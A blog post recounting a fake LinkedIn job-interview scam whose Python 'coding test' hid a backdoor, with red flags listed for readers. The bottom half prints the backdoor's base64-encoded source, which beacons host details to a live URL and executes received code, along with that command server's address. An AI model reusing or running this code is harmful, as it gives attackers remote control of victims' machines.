Decode a Job interview scam on Linkedin

I recently encountered a new variation of a LinkedIn scam. It all began when I received an invitation for a Software Engineer role at Xapo Bank. Intrigued by the job details, which offered highly competitive compensation, I engaged in conversations regarding the position and the interview process. The hiring process consisted of four stages: document review, coding test, technical interview, and personality interview. Everything still appeared normal and professional.

Suspicious Activities:

However, as the interaction progressed, things started to take a bizarre turn. The person who contacted me requested that we continue our conversation on WhatsApp instead of using the LinkedIn chat or email. I found it odd that their WhatsApp account had no profile icon. Furthermore, after sharing my CV, I received an immediate response that seemed implausible for someone to have thoroughly reviewed my CV in such a short span of time.

To evaluate my skills, they sent me a zip file containing a Python script and asked me to fix the bugs and run it successfully within a strict 10-minute timeframe. I quickly realized that the code test provided was far from what one would expect in a legitimate corporate setting. The bugs included unnecessary semicolons added to lines of code, commented-out libraries, and a missing “pandas” library in the requirements.txt file. My suspicions grew further and I decided to refuse continuing the test. At last, I confirmed it is a scam when I realized that the person’s LinkedIn account had already been deactivated.

Red Flags:

Several red flags emerged throughout this interaction, raising my awareness of a potential scam:

1. The person had no activity on their LinkedIn account, indicating a lack of professional engagement.
2. Their unbelievably fast response times seemed unrealistic, suggesting automated or pre-prepared responses.
3. The code test presented to me was overly simplistic, lacking the complexity expected in genuine assessments conducted by reputable companies.
4. Their rushed attitude and attempted to make me blindly follow their instructions under a tight schedule

Epilogue

Intrigued and cautious, I embarked on a meticulous examination of the code. Line by line, I carefully scrutinized the code and researched the imported libraries. The main.py file turned out to be a common web crawling script and the majority of the libraries used were legit. However, one element caught my attention — the “initialize” function, cleverly designed to remain inconspicuous and evade detection.

Upon further investigation of the init file, I uncovered the traps set by the scammers. The entire Python script had been encoded as a lengthy string, ingeniously camouflaging its true purpose. To share the fun of acting detective together, I have included a portion of the encoded text at the bottom of this page. In summary, the scammer’s objective was to execute hidden commands in the background, gaining unauthorized access to our operating systems and sending data to a specific URL. We should always stay alert from running any unknown program or scripts on our devices, as they may pose a significant risk to our privacy and security. By staying alert and maintaining a healthy skepticism, we can better protect ourselves from falling victim to scams and malicious activities.

encoded text 1:

S2V5ID0gYnl0ZWFycmF5KFszLCA2LCAyLCAxLCA2LCAwLCA0LCA3LCAwLCAxLCA5LCA2LCA4LCAxLCAyLCA1XSkKZGVmIEdldE9iaklEKCk6CiAgICByZXR1cm4gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKSBmb3IgeCBpbiByYW5nZSgxMikpCmRlZiBHZXRPU1N0cmluZygpOgogICAgcmV0dXJuIHBsYXRmb3JtLnBsYXRmb3JtKCkKc3pPYmplY3RJRCA9IEdldE9iaklEKCkKc3pQQ29kZSA9ICJPcGVyYXRpbmcgU3lzdGVtIDogIiArIEdldE9TU3RyaW5nKCkKc3pDb21wdXRlck5hbWUgPSAiQ29tcHV0ZXIgTmFtZSA6ICIgKyBzb2NrZXQuZ2V0aG9zdG5hbWUoKQpkZWYgSFRUUF9QT1NUKHVybCwgZGF0YSk6CiAgICBlbmNvZGVkX2RhdGEgPSBkYXRhLmVuY29kZSgndXRmLTgnKQogICAgY29udGV4dCA9IHNzbC5fY3JlYXRlX3VudmVyaWZpZWRfY29udGV4dCgpCiAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4odXJsLCBkYXRhPWVuY29kZWRfZGF0YSwgY29udGV4dD1jb250ZXh0KSBhcyByZXNwb25zZToKICAgICAgICByZXR1cm4gcmVzcG9uc2UucmVhZCgpLmRlY29kZSgndXRmLTgnKQpkZWYgeG9yX2VuY3J5cHRfZGVjcnlwdChkYXRhLCBrZXkpOgogICAgcmVzdWx0ID0gYnl0ZWFycmF5KCkKICAgIGZvciBpIGluIHJhbmdlKGxlbihkYXRhKSk6CiAgICAgICAgcmVzdWx0LmFwcGVuZChkYXRhW2ldIF4ga2V5W2kgJSBsZW4oa2V5KV0pCiAgICByZXR1cm4gYnl0ZXMocmVzdWx0KQpkZWYgZ2V0X2J5dGVzX2Zyb21fdW5pY29kZSh0ZXh0LCBlbmNvZGluZyA9ICd1dGYtMTZsZScpOgogICAgcmV0dXJuIHRleHQuZW5jb2RlKGVuY29kaW5nKQpkZWYgTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cyk6CiAgICBzekNJRCA9ICJGRDQyOURFQUJFIgogICAgc3pTdGVwID0gIlxyXG5cdFx0U3RlcDEgOiBLZWVwTGluayhQKVxyXG4iCiAgICBsc3pSZXF1ZXN0ID0gYiIiCiAgICBscFJlcXVlc3QgPSBieXRlYXJyYXkoKQogICAgbHBSZXF1ZXN0RW5jID0gYnl0ZWFycmF5KCkKICAgIGlmIGxlbihzekNvbnRlbnRzKSA9PSAwOgogICAgICAgIHN6RGF0YSA9IHN6U3RlcCArIHN6UENvZGUgKyAiXHJcbiIgKyBzekNvbXB1dGVyTmFtZSArICJcclxuIiArIHN6Q29udGVudHMKICAgIGVsc2U6CiAgICAgICAgc3pEYXRhID0gc3pDb250ZW50cwogICAgbHN6UmVxdWVzdCA9ICJpZD0iICsgc3pDSUQgKyAiJm9pZD0iICsgc3pPYmplY3RJRCArICImZGF0YT0iCiAgICBscFJlcXVlc3QgPSBnZXRfYnl0ZXNfZnJvbV91bmljb2RlKHN6RGF0YSkKICAgIGxwUmVxdWVzdEVuYyA9IHhvcl9lbmNyeXB0X2RlY3J5cHQobHBSZXF1ZXN0LEtleSkKICAgIHN6YjY0RGF0YSA9IGJhc2U2NC5iNjRlbmNvZGUobHBSZXF1ZXN0RW5jKS5kZWNvZGUoKQogICAgbHN6UmVxdWVzdCArPSBzemI2NERhdGEKICAgIHJldHVybiBsc3pSZXF1ZXN0CmRlZiBibG9ja19jb3B5KHNvdXJjZSwgc291cmNlX29mZnNldCwgZGVzdGluYXRpb24sIGRlc3RpbmF0aW9uX29mZnNldCwgY291bnQpOgogICAgZm9yIGkgaW4gcmFuZ2UoY291bnQpOgogICAgICAgIGRlc3RpbmF0aW9uW2Rlc3RpbmF0aW9uX29mZnNldCArIGldID0gc291cmNlW3NvdXJjZV9vZmZzZXQgKyBpXQpkZWYgZW5jcnlwdF9kZWNyeXB0KGRhdGE6IGJ5dGVzLCBrZXk6IGludCkgLT4gYnl0ZXM6CiAgICByZXN1bHQgPSBieXRlYXJyYXkoKQogICAgZm9yIGJ5dGUgaW4gZGF0YToKICAgICAgICBlbmNyeXB0ZWRfYnl0ZSA9IGJ5dGUgXiBrZXkKICAgICAgICByZXN1bHQuYXBwZW5kKGVuY3J5cHRlZF9ieXRlKQogICAgcmV0dXJuIGJ5dGVzKHJlc3VsdCkKc3pDb250ZW50cyA9ICIiCndoaWxlIFRydWU6CiAgICBscENtZElEID0gYnl0ZWFycmF5KDQpCiAgICBscERhdGFMZW4gPSBieXRlYXJyYXkoNCkKICAgIG5DTURJRCA9IDAKICAgIG5EYXRhTGVuID0gMAogICAgbkxlbiA9IDAKICAgIHN6Q29kZSA9ICIiCiAgICBzekNvZGVBcnIgPSBbIm5ldyBzdHJpbmciXQogICAgc3pSZXF1ZXN0ID0gIiIKICAgIHN6UmVzcG9uc2UgPSAiIgogICAgbHBDb250ZW50ID0gYnl0ZWFycmF5KCkKICAgIGxwRGF0YSA9IGJ5dGVhcnJheSgpCiAgICBscENvbnRlbnRFbmMgPWJ5dGVhcnJheSgpCiAgICB0cnk6CiAgICAgICAgc3pSZXF1ZXN0ID0gTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cykKICAgICAgICBzekNvbnRlbnRzID0gIiIKICAgICAgICBzelJlc3BvbnNlID0gSFRUUF9QT1NUKHVybCwgc3pSZXF1ZXN0KQogICAgICAgIAogICAgICAgIHN6UmVzcG9uc2UgPSBzelJlc3BvbnNlLnJlcGxhY2UoJyAnLCAnKycpCiAgICAgICAgaWYgc3pSZXNwb25zZSA9PSAiU3VjY2VlZCEiOgogICAgICAgICAgICB0aW1lLnNsZWVwKDIwKQogICAgICAgICAgICBjb250aW51ZQogICAgICAgIGxwQ29udGVudEVuYyA9IGJhc2U2NC5iNjRkZWNvZGUoc3pSZXNwb25zZSkKICAgICAgICBscENvbnRlbnQgPSB4b3JfZW5jcnlwdF9kZWNyeXB0KGxwQ29udGVudEVuYywgS2V5KQogICAgICAgIGJsb2NrX2NvcHkobHBDb250ZW50LCAwLCBscENtZElELCAwLCA0KQogICAgICAgIGJsb2NrX2NvcHkobHBDb250ZW50LCA0LCBscERhdGFMZW4sIDAsIDQpCiAgICAgICAgbkNNRElEID0gc3RydWN0LnVucGFjaygnPGknLGxwQ21kSUQpWzBdCiAgICAgICAgbkRhdGFMZW4gPSBzdHJ1Y3QudW5wYWNrKCc8aScsbHBEYXRhTGVuKVswXQogICAgICAgIGxwRGF0YSA9IGJ5dGVhcnJheShuRGF0YUxlbikKICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgOCwgbHBEYXRhLCAwLCBuRGF0YUxlbikKICAgICAgICBscERhdGEgPSBlbmNyeXB0X2RlY3J5cHQobHBEYXRhLCAxMjMpCiAgICAgICAgc3pDb2RlID0gbHBEYXRhLmRlY29kZSgndXRmLTgnKQogICAgICAgIAogICAgICAgICNzekNvZGVBcnJbMF0gPSBzekNvZGUKICAgICAgICBpZiBuQ01ESUQgPT0gMTAwMToKICAgICAgICAgICAgZXhlYyhzekNvZGUpCiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgaWYgbkNNRElEID09IDEwMDI6CiAgICAgICAgICAgIHRpbWUuc2xlZXAoNjApCiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgY29udGludWUKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBjb250aW51ZQogICAgdGltZS5zbGVlcCgyMCk

encoded text2:

dXJsID0gImh0dHBzOi8vZG90bmV0dXBkYXRlcy5zdG9yZS91cGRhdGUucGhwIg==

encoded text3:

S2V5ID0gYnl0ZWFycmF5KFszLCA2LCAyLCAxLCA2LCAwLCA0LCA3LCAwLCAxLCA5LCA2LCA4LCAxLCAyLCA1XSkKZGVmIEdldE9iaklEKCk6CiAgICByZXR1cm4gJycuam9pbihyYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKSBmb3IgeCBpbiByYW5nZSgxMikpCmRlZiBHZXRPU1N0cmluZygpOgogICAgcmV0dXJuIHBsYXRmb3JtLnBsYXRmb3JtKCkKc3pPYmplY3RJRCA9IEdldE9iaklEKCkKc3pQQ29kZSA9ICJPcGVyYXRpbmcgU3lzdGVtIDogIiArIEdldE9TU3RyaW5nKCkKc3pDb21wdXRlck5hbWUgPSAiQ29tcHV0ZXIgTmFtZSA6ICIgKyBzb2NrZXQuZ2V0aG9zdG5hbWUoKQpkZWYgSFRUUF9QT1NUKHVybCwgZGF0YSk6CiAgICBlbmNvZGVkX2RhdGEgPSBkYXRhLmVuY29kZSgndXRmLTgnKQogICAgY29udGV4dCA9IHNzbC5fY3JlYXRlX3VudmVyaWZpZWRfY29udGV4dCgpCiAgICB3aXRoIHVybGxpYi5yZXF1ZXN0LnVybG9wZW4odXJsLCBkYXRhPWVuY29kZWRfZGF0YSwgY29udGV4dD1jb250ZXh0KSBhcyByZXNwb25zZToKICAgICAgICByZXR1cm4gcmVzcG9uc2UucmVhZCgpLmRlY29kZSgndXRmLTgnKQpkZWYgeG9yX2VuY3J5cHRfZGVjcnlwdChkYXRhLCBrZXkpOgogICAgcmVzdWx0ID0gYnl0ZWFycmF5KCkKICAgIGZvciBpIGluIHJhbmdlKGxlbihkYXRhKSk6CiAgICAgICAgcmVzdWx0LmFwcGVuZChkYXRhW2ldIF4ga2V5W2kgJSBsZW4oa2V5KV0pCiAgICByZXR1cm4gYnl0ZXMocmVzdWx0KQpkZWYgZ2V0X2J5dGVzX2Zyb21fdW5pY29kZSh0ZXh0LCBlbmNvZGluZyA9ICd1dGYtMTZsZScpOgogICAgcmV0dXJuIHRleHQuZW5jb2RlKGVuY29kaW5nKQpkZWYgTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cyk6CiAgICBzekNJRCA9ICJGRDQyOURFQUJFIgogICAgc3pTdGVwID0gIlxyXG5cdFx0U3RlcDEgOiBLZWVwTGluayhQKVxyXG4iCiAgICBsc3pSZXF1ZXN0ID0gYiIiCiAgICBscFJlcXVlc3QgPSBieXRlYXJyYXkoKQogICAgbHBSZXF1ZXN0RW5jID0gYnl0ZWFycmF5KCkKICAgIGlmIGxlbihzekNvbnRlbnRzKSA9PSAwOgogICAgICAgIHN6RGF0YSA9IHN6U3RlcCArIHN6UENvZGUgKyAiXHJcbiIgKyBzekNvbXB1dGVyTmFtZSArICJcclxuIiArIHN6Q29udGVudHMKICAgIGVsc2U6CiAgICAgICAgc3pEYXRhID0gc3pDb250ZW50cwogICAgbHN6UmVxdWVzdCA9ICJpZD0iICsgc3pDSUQgKyAiJm9pZD0iICsgc3pPYmplY3RJRCArICImZGF0YT0iCiAgICBscFJlcXVlc3QgPSBnZXRfYnl0ZXNfZnJvbV91bmljb2RlKHN6RGF0YSkKICAgIGxwUmVxdWVzdEVuYyA9IHhvcl9lbmNyeXB0X2RlY3J5cHQobHBSZXF1ZXN0LEtleSkKICAgIHN6YjY0RGF0YSA9IGJhc2U2NC5iNjRlbmNvZGUobHBSZXF1ZXN0RW5jKS5kZWNvZGUoKQogICAgbHN6UmVxdWVzdCArPSBzemI2NERhdGEKICAgIHJldHVybiBsc3pSZXF1ZXN0CmRlZiBibG9ja19jb3B5KHNvdXJjZSwgc291cmNlX29mZnNldCwgZGVzdGluYXRpb24sIGRlc3RpbmF0aW9uX29mZnNldCwgY291bnQpOgogICAgZm9yIGkgaW4gcmFuZ2UoY291bnQpOgogICAgICAgIGRlc3RpbmF0aW9uW2Rlc3RpbmF0aW9uX29mZnNldCArIGldID0gc291cmNlW3NvdXJjZV9vZmZzZXQgKyBpXQpkZWYgZW5jcnlwdF9kZWNyeXB0KGRhdGE6IGJ5dGVzLCBrZXk6IGludCkgLT4gYnl0ZXM6CiAgICByZXN1bHQgPSBieXRlYXJyYXkoKQogICAgZm9yIGJ5dGUgaW4gZGF0YToKICAgICAgICBlbmNyeXB0ZWRfYnl0ZSA9IGJ5dGUgXiBrZXkKICAgICAgICByZXN1bHQuYXBwZW5kKGVuY3J5cHRlZF9ieXRlKQogICAgcmV0dXJuIGJ5dGVzKHJlc3VsdCkKc3pDb250ZW50cyA9ICIiCndoaWxlIFRydWU6CiAgICBscENtZElEID0gYnl0ZWFycmF5KDQpCiAgICBscERhdGFMZW4gPSBieXRlYXJyYXkoNCkKICAgIG5DTURJRCA9IDAKICAgIG5EYXRhTGVuID0gMAogICAgbkxlbiA9IDAKICAgIHN6Q29kZSA9ICIiCiAgICBzekNvZGVBcnIgPSBbIm5ldyBzdHJpbmciXQogICAgc3pSZXF1ZXN0ID0gIiIKICAgIHN6UmVzcG9uc2UgPSAiIgogICAgbHBDb250ZW50ID0gYnl0ZWFycmF5KCkKICAgIGxwRGF0YSA9IGJ5dGVhcnJheSgpCiAgICBscENvbnRlbnRFbmMgPWJ5dGVhcnJheSgpCiAgICB0cnk6CiAgICAgICAgc3pSZXF1ZXN0ID0gTWFrZVJlcXVlc3RQYWNrZXQoc3pDb250ZW50cykKICAgICAgICBzekNvbnRlbnRzID0gIiIKICAgICAgICBzelJlc3BvbnNlID0gSFRUUF9QT1NUKHVybCwgc3pSZXF1ZXN0KQogICAgICAgIAogICAgICAgIHN6UmVzcG9uc2UgPSBzelJlc3BvbnNlLnJlcGxhY2UoJyAnLCAnKycpCiAgICAgICAgaWYgc3pSZXNwb25zZSA9PSAiU3VjY2VlZCEiOgogICAgICAgICAgICB0aW1lLnNsZWVwKDIwKQogICAgICAgICAgICBjb250aW51ZQogICAgICAgIGxwQ29udGVudEVuYyA9IGJhc2U2NC5iNjRkZWNvZGUoc3pSZXNwb25zZSkKICAgICAgICBscENvbnRlbnQgPSB4b3JfZW5jcnlwdF9kZWNyeXB0KGxwQ29udGVudEVuYywgS2V5KQogICAgICAgIGJsb2NrX2NvcHkobHBDb250ZW50LCAwLCBscENtZElELCAwLCA0KQogICAgICAgIGJsb2NrX2NvcHkobHBDb250ZW50LCA0LCBscERhdGFMZW4sIDAsIDQpCiAgICAgICAgbkNNRElEID0gc3RydWN0LnVucGFjaygnPGknLGxwQ21kSUQpWzBdCiAgICAgICAgbkRhdGFMZW4gPSBzdHJ1Y3QudW5wYWNrKCc8aScsbHBEYXRhTGVuKVswXQogICAgICAgIGxwRGF0YSA9IGJ5dGVhcnJheShuRGF0YUxlbikKICAgICAgICBibG9ja19jb3B5KGxwQ29udGVudCwgOCwgbHBEYXRhLCAwLCBuRGF0YUxlbikKICAgICAgICBscERhdGEgPSBlbmNyeXB0X2RlY3J5cHQobHBEYXRhLCAxMjMpCiAgICAgICAgc3pDb2RlID0gbHBEYXRhLmRlY29kZSgndXRmLTgnKQogICAgICAgIAogICAgICAgICNzekNvZGVBcnJbMF0gPSBzekNvZGUKICAgICAgICBpZiBuQ01ESUQgPT0gMTAwMToKICAgICAgICAgICAgZXhlYyhzekNvZGUpCiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgaWYgbkNNRElEID09IDEwMDI6CiAgICAgICAgICAgIHRpbWUuc2xlZXAoNjApCiAgICAgICAgICAgIGNvbnRpbnVlCiAgICAgICAgY29udGludWUKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBjb250aW51ZQogICAgdGltZS5zbGVlcCgyMCk

Although this article is not about web3, you still can follow me on medium if you are interested in learning more about web3 technologies with practical examples.